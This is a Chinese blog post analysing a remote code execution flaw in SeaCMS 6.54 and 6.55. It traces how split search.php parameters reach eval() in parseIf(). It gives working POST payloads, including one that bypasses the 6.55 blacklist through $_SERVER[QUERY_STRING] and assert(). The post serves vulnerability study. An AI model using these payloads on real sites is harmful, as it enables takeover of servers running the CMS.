Seacms 6.54 & 6.55 任意代碼執(zhí)行漏洞分析

0x01. 漏洞利用方式

6.54版本 POC:

URL:http://[ip]:[port]/search.php
POST:searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();

6.55版本 POC:

URL:http://[ip]:[port]/search.php?phpinfo();
POST:searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

0x02. 漏洞分析

版本:Seacms v6.54

首先Seacms的外部變量GET、POST提交方式在/include/common.php中進行了申明:


外部傳參方式

所以在提交外部變量時可以通過GET方式、也可以通過POST方式。漏洞的入口點在于search.php中的變量$content,其中變量$searchword會傳遞進入$content且可控,$searchword分別經(jīng)過RemoveXSS()函數(shù)和cn_substr()的處理,定位變量$searchword:search.php:16行


searchword

查看第一層處理函數(shù)RemoveXSS():/include/common.func.php:1657行


RemoveXSS()

可以看出RemoveXSS()函數(shù)對變量$searchword進行XSS過濾,避免被XSS攻擊,隨后調(diào)用函數(shù)cn_substr()對變量$searchword進行處理定位查看:/include/common.func.php:124行


cn_substr()

函數(shù)cn_substr()對變量$searchword進行字符長度限制,限制字符長度不超過20,初步的兩層處理視乎讓人感覺變量$searchword相對比較安全,我們繼續(xù)跟進,$searchword隨后根據(jù)程序流將傳入echoSearchPage(),在執(zhí)行echoSearchPage()之前,有一個判斷語句:search.php:56行


searchtype

所以在構(gòu)造Payload時需要給變量$searchtype賦值為‘5’,才能夠繼續(xù)執(zhí)行程序流,變量$searchword隨后傳遞進入變量$content中,并且進行了多次的str_replace替換處理:search.php:159行


$content處理

多次替換處理變量$content后,將其傳入parseIf()中

$content=$mainClassObj->parseIf($content);//search.php:216行

跟進查看函數(shù)parseIf():/include/main.class.php:3149行


parseIf()

變量$labelRule、$labelRule2、$labelRule3定義了正則規(guī)則,通過preg_match_all將$content進行正則匹配,即匹配出‘{if:’和‘{end if}’中的字符串,并將匹配的結(jié)果傳入到$iar中,隨后將數(shù)組$iar[1][$m]中的字符賦值給變量$strIf,并在最終的條件判斷中傳入eval()函數(shù)@eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
所以如果變量$strIf的值可以惡意構(gòu)造,那么就可以將惡意代碼傳入eval()并執(zhí)行,這也是漏洞的主要,所里整個漏洞利用鏈在于:
$searchword->$content->parseIf($content)->preg_match_all()->$iar->$strIf->eval()。

構(gòu)造POC:

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=({searchpage:jq}&jq=($_P{searchpage:ver}&ver=OST[Cyc1e]))&Cyc1e=phpinfo();

即其中searchword={if{searchpage:year}可以通過RmoveXSS()的過濾,也可以通過cn_ substr()的20字符的限制, echoSearchPage()對searchpage標(biāo)簽進行多次替換處理處理,最終$content中會包含:eval(($_POST[Cyc1e]))


查看網(wǎng)頁源碼

$content傳入parseIf()后進行正則匹配處理最終傳入變量$strIf,打印變量$strIf查看:


$strIf

可以看出$content中包含的惡意代碼eval(($_POST[Cyc1e]))被傳入到變量$strIf中,并最終通過eval()函數(shù)達到惡意代碼的執(zhí)行,即通過惡意代碼實現(xiàn)任意代碼執(zhí)行。

版本:6.55

6.55版本針對該漏洞,在parseIf()中添加了一個黑名單:/include/main.class.php:3106


黑名單

但是通過search.php中$content構(gòu)造的惡意代碼仍然能正常的傳遞到parseIf()函數(shù)中,即漏洞的利用原來是沒有變的,而黑名單只是過濾了一些敏感函數(shù)和_GET、_POST、_REQUEST和_COOKIE傳參方式,而HTTP中傳遞參數(shù)還有$_SERVER方式,所以構(gòu)造$searchword時,通過利用$_SERVER來獲取變量已然能夠達到任意代碼執(zhí)行的目的。構(gòu)造$searchword(放freebuf中大佬的):

searchtype=5&searchword={if{searchpage:year}&year=:as{searchpage:area}}&area=s{searchpage:letter}&letter=ert{searchpage:lang}&yuyan=($_SE{searchpage:jq}&jq=RVER{searchpage:ver}&&ver=[QUERY_STRING]));/*

通過echoSearchPage()中對searchpage標(biāo)簽的替換,$content中包含

if(assert($_SERVER[QUERY_STRING]));/*

通過訪問URL:http://[ip]:[port]/search.php?phpinfo();即可觸發(fā)利用,并且同樣可以達到任意代碼執(zhí)行的效果,system()函數(shù)的執(zhí)行方式這里就不多說了。


phpinfo()

漏洞分析僅用于學(xué)習(xí)!??!一切實際攻擊利用行為概不負責(zé)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容